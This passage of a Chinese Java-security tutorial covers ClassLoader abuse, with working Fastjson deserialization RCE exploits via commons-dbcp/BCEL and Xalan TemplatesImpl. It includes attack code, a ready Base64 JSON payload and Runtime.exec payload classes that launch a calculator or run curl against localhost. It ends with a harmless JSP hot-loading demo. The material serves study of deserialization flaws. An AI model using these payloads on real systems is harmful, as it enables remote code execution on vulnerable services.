1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}
    
    • 1

    FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource类的driverClassName和driverClassLoader值,driverClassName是经过BCEL编码后的com.anbai.sec.classloader.TestBCELClass类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

    com.anbai.sec.classloader.TestBCELClass类:

    package com.anbai.sec.classloader;
    
    import java.io.IOException;
    
    public class TestBCELClass {
    
        static {
            String command = "open -a Calculator.app";
            String osName  = System.getProperty("os.name");
    
            if (osName.startsWith("Windows")) {
                command = "calc 12345678901234567";
            } else if (osName.startsWith("Linux")) {
                command = "curl localhost:9999/";
            }
    
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    使用BCEL编码com.anbai.sec.classloader.TestBCELClass类字节码:

    /**
    * 将一个Class文件编码成BCEL类
    *
    * @param classFile Class文件路径
    * @return 编码后的BCEL类
    * @throws IOException 文件读取异常
    */
    public static String bcelEncode(File classFile) throws IOException {
        return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters(https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/util/TypeUtils.java#L1904),因此FastJson最终还是调用了getConnection()方法。

    当getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图(BasicDataSource.java):

    因为使用了反射的方式加载com.anbai.sec.classloader.TestBCELClass类,而且还特意指定了需要初始化类(Class.forName(driverClassName, true, driverClassLoader);),因此该类的静态语句块(static{...} )将会被执行,完整的攻击示例代码如下:

    package com.anbai.sec.classloader;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import org.apache.commons.dbcp.BasicDataSource;
    import org.javaweb.utils.FileUtils;
    
    import java.io.File;
    import java.io.IOException;
    import java.util.LinkedHashMap;
    import java.util.Map;
    
    public class BCELClassLoader {
    
        /**
         * com.anbai.sec.classloader.TestBCELClass类字节码,Windows和MacOS弹计算器,Linux执行curl localhost:9999
         * 
    */ private static final byte[] CLASS_BYTES = new byte[]{ -54, -2, -70, -66, 0, 0, 0, 50, 0, // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/BCELClassLoader.java }; /** * 将一个Class文件编码成BCEL类 * * @param classFile Class文件路径 * @return 编码后的BCEL类 * @throws IOException 文件读取异常 */ public static String bcelEncode(File classFile) throws IOException { return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true); } /** * BCEL命令执行示例,测试时请注意兼容性问题:① 适用于BCEL 6.0以下。② JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9 * * @throws Exception 类加载异常 */ public static void bcelTest() throws Exception { // 使用反射是为了防止高版本JDK不存在com.sun.org.apache.bcel.internal.util.ClassLoader类 // Class bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader"); // 创建BCEL类加载器 // ClassLoader classLoader = (ClassLoader) bcelClass.newInstance(); // ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); ClassLoader classLoader = new org.apache.bcel.util.ClassLoader(); // BCEL编码类字节码 String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true); System.out.println(className); Class<?> clazz = Class.forName(className, true, classLoader); System.out.println(clazz); } /** * Fastjson 1.1.15 - 1.2.4 反序列化RCE示例,示例程序考虑到测试环境的兼容性,采用的都是Apache commons dbcp和bcel * * @throws IOException BCEL编码异常 */ public static void fastjsonRCE() throws IOException { // BCEL编码类字节码 String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true); // 构建恶意的JSON Map<String, Object> dataMap = new LinkedHashMap<String, Object>(); Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>(); dataMap.put("@type", BasicDataSource.class.getName()); dataMap.put("driverClassName", className); classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName()); dataMap.put("driverClassLoader", classLoaderMap); String json = JSON.toJSONString(dataMap); System.out.println(json); JSONObject jsonObject = JSON.parseObject(json); System.out.println(jsonObject); } public static void main(String[] args) throws Exception { // bcelTest(); fastjsonRCE(); } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90

    0x11 Xalan ClassLoader

    Xalan和BCEL一样都经常被用于编写反序列化Payload,Oracle JDK默认也引用了Xalan,同时修改了原包名org.apache.xalan.xsltc.trax.TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Xalan最大的特点是可以传入类字节码并初始化(需要调用getOutputProperties方法),从而实现RCE,比如Fastjson和Jackson会使用反射调用getter/setter或成员变量映射的方式实现JSON反序列化。

    TemplatesImpl中有一个_bytecodes成员变量,用于存储类字节码,通过JSON反序列化的方式可以修改该变量值,但因为该成员变量没有可映射的get/set 方法所以需要修改JSON库的虚拟化配置,比如Fastjson解析时必须启用Feature.SupportNonPublicField、Jackson必须开启JacksonPolymorphicDeserialization(调用mapper.enableDefaultTyping()),所以利用条件相对较高。

    TemplatesImpl类:

    在MacOS和Windows上执行示例程序后会弹出计算器,Linux会执行curl localhost:9999

    package com.anbai.sec.classloader;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.alibaba.fastjson.parser.ParserConfig;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.LinkedHashMap;
    import java.util.Map;
    import java.util.Properties;
    
    import static org.apache.commons.codec.binary.Base64.encodeBase64String;
    
    public class XalanTemplatesImpl {
    
        /**
         * com.anbai.sec.classloader.TestAbstractTranslet类字节码
         */
        public static final byte[] CLASS_BYTES = new byte[]{
                -54, -2, -70, -66 // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/XalanTemplatesImpl.java
        };
    
        /**
         * 使用反射修改TemplatesImpl类的成员变量方式触发命令执行,Jackson和Fastjson采用这种方式触发RCE
         *
         * @throws Exception 调用异常
         */
        public static void invokeField() throws Exception {
            TemplatesImpl template      = new TemplatesImpl();
            Class<?>      templateClass = template.getClass();
    
            // 获取需要修改的成员变量
            Field byteCodesField        = templateClass.getDeclaredField("_bytecodes");
            Field nameField             = templateClass.getDeclaredField("_name");
            Field tFactoryField         = templateClass.getDeclaredField("_tfactory");
            Field outputPropertiesField = templateClass.getDeclaredField("_outputProperties");
    
            // 修改成员属性访问权限
            byteCodesField.setAccessible(true);
            nameField.setAccessible(true);
            tFactoryField.setAccessible(true);
            outputPropertiesField.setAccessible(true);
    
            // 设置类字节码
            byteCodesField.set(template, new byte[][]{CLASS_BYTES});
    
            // 设置名称
            nameField.set(template, "");
    
            // 设置TransformerFactoryImpl实例
            tFactoryField.set(template, new TransformerFactoryImpl());
    
            // 设置Properties配置
            outputPropertiesField.set(template, new Properties());
    
            // 触发defineClass调用链:
            //   getOutputProperties->newTransformer->getTransletInstance->defineTransletClasses->defineClass
            // 触发命令执行调用链:
            //   getOutputProperties->newTransformer->getTransletInstance->new TestAbstractTranslet->Runtime#exec
            template.getOutputProperties();
        }
    
        /**
         * 使用反射调用TemplatesImpl类的私有构造方法方式触发命令执行
         *
         * @throws Exception 调用异常
         */
        public static void invokeConstructor() throws Exception {
            // 获取TemplatesImpl构造方法
            Constructor<TemplatesImpl> constructor = TemplatesImpl.class.getDeclaredConstructor(
                    byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class
            );
    
            // 修改访问权限
            constructor.setAccessible(true);
    
            // 创建TemplatesImpl实例
            TemplatesImpl template = constructor.newInstance(
                    new byte[][]{CLASS_BYTES}, "", new Properties(), -1, new TransformerFactoryImpl()
            );
    
            template.getOutputProperties();
        }
    
        /**
         * Fastjson 1.2.2 - 1.2.4反序列化RCE示例
         */
        public static void fastjsonRCE() {
            // 构建恶意的JSON
            Map<String, Object> dataMap = new LinkedHashMap<String, Object>();
            dataMap.put("@type", TemplatesImpl.class.getName());
            dataMap.put("_bytecodes", new String[]{encodeBase64String(CLASS_BYTES)});
            dataMap.put("_name", "");
            dataMap.put("_tfactory", new Object());
            dataMap.put("_outputProperties", new Object());
    
            // 生成Payload
            String json = JSON.toJSONString(dataMap);
            System.out.println(json);
    
            // 使用FastJson反序列化,但必须启用SupportNonPublicField特性
            JSON.parseObject(json, Object.class, new ParserConfig(), Feature.SupportNonPublicField);
        }
    
        public static void main(String[] args) throws Exception {
    //        invokeField();
    //        invokeConstructor();
              fastjsonRCE();
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114

    11.1 Xalan FastJson攻击链分析

    为了深入学习Xalan攻击链,这里我们以Fastjson为例分析其攻击原理,Fastjson(1.2.2 - 1.2.4)在启用了SupportNonPublicField特性时可以利用Xalan的TemplatesImpl实现RCE,具体的利用代码如下:

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIAPgoADwAfCAAgCAAhCgAiACMIACQKACUAJggAJwgAKAgAKQoAKgArCgAqACwHAC0KAAwALgcALwcAMAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAvBwAxBwAtAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAMgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApTb3VyY2VGaWxlAQAZVGVzdEFic3RyYWN0VHJhbnNsZXQuamF2YQwAEAARAQAWb3BlbiAtYSBDYWxjdWxhdG9yLmFwcAEAB29zLm5hbWUHADMMADQANQEAB1dpbmRvd3MHADEMADYANwEAFmNhbGMgMTIzNDU2Nzg5MDEyMzQ1NjcBAAVMaW51eAEAFGN1cmwgbG9jYWxob3N0Ojk5OTkvBwA4DAA5ADoMADsAPAEAE2phdmEvaW8vSU9FeGNlcHRpb24MAD0AEQEALmNvbS9hbmJhaS9zZWMvY2xhc3Nsb2FkZXIvVGVzdEFic3RyYWN0VHJhbnNsZXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAQamF2YS9sYW5nL1N0cmluZwEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKc3RhcnRzV2l0aAEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAOAA8AAAAAAAMAAQAQABEAAQASAAAAowACAAQAAAA5KrcAARICTBIDuAAETSwSBbYABpkACRIHTKcADywSCLYABpkABhIJTLgACiu2AAtXpwAITi22AA2xAAEAKAAwADMADAACABMAAAAyAAwAAAANAAQADgAHAA8ADQARABYAEgAcABMAJQAUACgAGAAwABsAMwAZADQAGgA4ABwAFAAAABgABP8AHAADBwAVBwAWBwAWAAALSgcAFwQAAQAYABkAAgASAAAAGQAAAAMAAAABsQAAAAEAEwAAAAYAAQAAACEAGgAAAAQAAQAbAAEAGAAcAAIAEgAAABkAAAAEAAAAAbEAAAABABMAAAAGAAEAAAAmABoAAAAEAAEAGwABAB0AAAACAB4="],"_name":"","_tfactory":{},"_outputProperties":{}}
    
    • 1

    @type 标注的是需要反序列化的类名com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,_bytecodes是经过Base64编码(FastJson会自动解码成byte[])后的com.anbai.sec.classloader.TestAbstractTranslet类字节码,_name、_tfactory、_outputProperties 没有什么实际意义这里保持不为空就可以了。

    传入的_bytecodes字节码是class文件经过Base64编码的字符串(Linux下可以使用base64命令,如:base64 TestAbstractTranslet.class),该类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,示例中的TestAbstractTranslet.java的代码如下:

    package com.anbai.sec.classloader;
    
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    import java.io.IOException;
    
    public class TestAbstractTranslet extends AbstractTranslet {
        public TestAbstractTranslet() {
        // Windows和MacOS是弹出计算器,Linux会执行curl localhost:9999/
            String command = "open -a Calculator.app";
            String osName  = System.getProperty("os.name");
    
            if (osName.startsWith("Windows")) {
                command = "calc 12345678901234567";
            } else if (osName.startsWith("Linux")) {
                command = "curl localhost:9999/";
            }
    
            try {
                Runtime.getRuntime().exec(command);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator it, SerializationHandler handler) throws TransletException {
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    Fastjson会创建com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类实例,并通过json中的字段去映射TemplatesImpl类中的成员变量,比如将_bytecodes 经过Base64解码后将byte[] 映射到TemplatesImpl类的_bytecodes上,其他字段同理。但仅仅是属性映射是无法触发传入的类实例化的,还必须要调用getOutputProperties()方法才会触发defineClass(使用传入的恶意类字节码创建类)和newInstance(创建恶意类实例,从而触发恶意类构造方法中的命令执行代码),此时已是万事俱备,只欠东风了。

    Fastjson在解析类成员变量(com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField) 的时候会将private Properties _outputProperties;属性与getOutputProperties()关联映射(FastJson的smartMatch()会忽略_、-、is(仅限boolean/Boolean类型) ,所以能够匹配到getOutputProperties()方法),因为_outputProperties是Map类型(Properties是Map的子类)所以不需要通过set方法映射值(fieldInfo.getOnly),因此在setValue的时候会直接调用getOutputProperties()方法,如下图:

    调用getOutputProperties()方法后会触发类创建和实例化,如下图:

    defineClass TestAbstractTranslet调用链:

    java.lang.ClassLoader.defineClass(ClassLoader.java:794)
    java.lang.ClassLoader.defineClass(ClassLoader.java:643)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:163)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:367)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:404)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:439)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:460)
    com.anbai.sec.classloader.XalanTemplatesImpl.invokeField(XalanTemplatesImpl.java:150)
    com.anbai.sec.classloader.XalanTemplatesImpl.main(XalanTemplatesImpl.java:176)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    创建TestAbstractTranslet类实例,如下图:

    创建TestAbstractTranslet类实例时就会触发TestAbstractTranslet构造方法中的命令执行代码,调用链如下:

    java.lang.Runtime.exec(Runtime.java:347)
    com.anbai.sec.classloader.TestAbstractTranslet.<init>(TestAbstractTranslet.java:24)
    sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
    sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
    sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
    java.lang.reflect.Constructor.newInstance(Constructor.java:526)
    java.lang.Class.newInstance(Class.java:383)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:408)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:439)
    com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:460)
    com.anbai.sec.classloader.XalanTemplatesImpl.invokeField(XalanTemplatesImpl.java:150)
    com.anbai.sec.classloader.XalanTemplatesImpl.main(XalanTemplatesImpl.java:176)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    0x12 JSP类加载

    JSP是JavaEE中的一种常用的脚本文件,可以在JSP中调用Java代码,实际上经过编译后的jsp就是一个Servlet文件,JSP和PHP一样可以实时修改。

    众所周知,Java的类是不允许动态修改的(这里特指新增类方法或成员变量),之所以JSP具备热更新的能力,实际上借助的就是自定义类加载行为,当Servlet容器发现JSP文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待GC。

    示例 - 模拟的JSP文件动态加载程序:

    package com.anbai.sec.classloader;
    
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtMethod;
    
    import java.io.File;
    import java.lang.reflect.Method;
    import java.lang.reflect.Modifier;
    import java.util.HashMap;
    import java.util.Map;
    
    public class TestJSPClassLoader {
    
        /**
         * 缓存JSP文件和类加载,刚jsp文件修改后直接替换类加载器实现JSP类字节码热加载
         */
        private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap<File, JSPClassLoader>();
    
        /**
         * 创建用于测试的test.jsp类字节码,类代码如下:
         * 
         * package com.anbai.sec.classloader;
         *
         * public class test_jsp {
         *     public void _jspService() {
         *         System.out.println("Hello...");
         *     }
         * }
         * 
    * * @param className 类名 * @param content 用于测试的输出内容,如:Hello... * @return test_java类字节码 * @throws Exception 创建异常 */
    public static byte[] createTestJSPClass(String className, String content) throws Exception { // 使用Javassist创建类字节码 ClassPool classPool = ClassPool.getDefault(); // 创建一个类,如:com.anbai.sec.classloader.test_jsp CtClass ctServletClass = classPool.makeClass(className); // 创建_jspService方法 CtMethod ctMethod = new CtMethod(CtClass.voidType, "_jspService", new CtClass[]{}, ctServletClass); ctMethod.setModifiers(Modifier.PUBLIC); // 写入hello方法代码 ctMethod.setBody("System.out.println(\"" + content + "\");"); // 将hello方法添加到类中 ctServletClass.addMethod(ctMethod); // 生成类字节码 byte[] bytes = ctServletClass.toBytecode(); // 释放资源 ctServletClass.detach(); return bytes; } /** * 检测jsp文件是否改变,如果发生了修改就重新编译jsp并更新该jsp类字节码 * * @param jspFile JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在 * @param className 类名 * @param bytes 类字节码 * @param parent JSP的父类加载 */ public JSPClassLoader getJSPFileClassLoader(File jspFile, String className, byte[] bytes, ClassLoader parent) { JSPClassLoader jspClassLoader = this.jspClassLoaderMap.get(jspFile); // 模拟第一次访问test.jsp时jspClassLoader是空的,因此需要创建 if (jspClassLoader == null) { jspClassLoader = new JSPClassLoader(parent); jspClassLoader.createClass(className, bytes); // 缓存JSP文件和所使用的类加载器 this.jspClassLoaderMap.put(jspFile, jspClassLoader); return jspClassLoader; } // 模拟第二次访问test.jsp,这个时候内容发生了修改,这里实际上应该检测文件的最后修改时间是否相当, // 而不是检测是否是0,因为当jspFile不存在的时候返回值是0,所以这里假设0表示这个文件被修改了, // 那么需要热加载该类字节码到类加载器。 if (jspFile.lastModified() == 0) { jspClassLoader = new JSPClassLoader(parent); jspClassLoader.createClass(className, bytes); // 缓存JSP文件和所使用的类加载器 this.jspClassLoaderMap.put(jspFile, jspClassLoader); return jspClassLoader; } return null; } /** * 使用动态的类加载器调用test_jsp#_jspService方法 * * @param jspFile JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在 * @param className 类名 * @param bytes 类字节码 * @param parent JSP的父类加载 */ public void invokeJSPServiceMethod(File jspFile, String className, byte[] bytes, ClassLoader parent) { JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent); try { // 加载com.anbai.sec.classloader.test_jsp类 Class<?> jspClass = jspClassLoader.loadClass(className); // 创建test_jsp类实例 Object jspInstance = jspClass.newInstance(); // 获取test_jsp#_jspService方法 Method jspServiceMethod = jspClass.getMethod("_jspService"); // 调用_jspService方法 jspServiceMethod.invoke(jspInstance); } catch (Exception e) { e.printStackTrace(); } } public static void main(String[] args) throws Exception { TestJSPClassLoader test = new TestJSPClassLoader(); String className = "com.anbai.sec.classloader.test_jsp"; File jspFile = new File("/data/test.jsp"); ClassLoader classLoader = ClassLoader.getSystemClassLoader(); // 模拟第一次访问test.jsp文件自动生成test_jsp.java byte[] testJSPClass01 = createTestJSPClass(className, "Hello..."); test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader); // 模拟修改了test.jsp文件,热加载修改后的test_jsp.class byte[] testJSPClass02 = createTestJSPClass(className, "World..."); test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader); } /** * JSP类加载器 */ static class JSPClassLoader extends ClassLoader { public JSPClassLoader(ClassLoader parent) { super(parent); } /** * 创建类 * * @param className 类名 * @param bytes 类字节码 */ public void createClass(String className, byte[] bytes) { defineClass(className, bytes, 0, bytes.length); } } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166

    该示例程序通过Javassist动态生成了两个不同的com.anbai.sec.classloader.test_jsp类字节码,模拟JSP文件修改后的类加载,核心原理就是检测到JSP文件修改后动态替换类加载器,从而实现JSP热加载,具体的处理逻辑如下(第3和第4部未实现,使用了Javassist动态创建):

    • 模拟客户端第一次访问test.jsp
    • 检测是否已缓存了test.jsp的类加载
    • Servlet容器找到test.jsp文件并编译成test_jsp.java(未实现)
    • 编译成test_jsp.class文件(未实现)
    • 创建test.jsp文件专用的类加载器jspClassLoader,并缓存到jspClassLoaderMap对象中
    • jspClassLoader加载test_jsp.class字节码并创建com.anbai.sec.classloader.test_jsp类
    • jspClassLoader调用com.anbai.sec.classloader.test_jsp 类的_jspService方法
    • 输出Hello…
    • 模拟客户端第二次访问test.jsp
    • 假设test.jsp文件发生了修改,重新编译test.jsp并创建一个新的类加载器jspClassLoader加载新的类字节码
    • 使用新创建的jspClassLoader类加载器调用com.anbai.sec.classloader.test_jsp类的_jspService方法
    • 输出World…

    0x13 总结

    ClassLoader是JVM中一个非常重要的组成部分,ClassLoader可以为我们加载任意的java类,通过自定义ClassLoader更能够实现自定义类加载行为

    参考链接

    https://blog.csdn.net/qq_45449318/article/details/118733201

    https://blog.csdn.net/qq_27046951/article/details/82024214

    https://xie1997.blog.csdn.net/article/details/107021477

    https://www.freesion.com/article/6149446538/

    https://www.cnblogs.com/wuyida/p/6300342.html

    https://www.cnblogs.com/trevain/p/15843423.html

    https://zhishihezi.net/攻击JavaWeb应用-[Java Web安全]的Classloader(类加载机制)

    https://zhishihezi.net/攻击JavaWeb应用


    你以为你有很多路可以选择,其实你只有一条路可以走


  • 相关阅读:
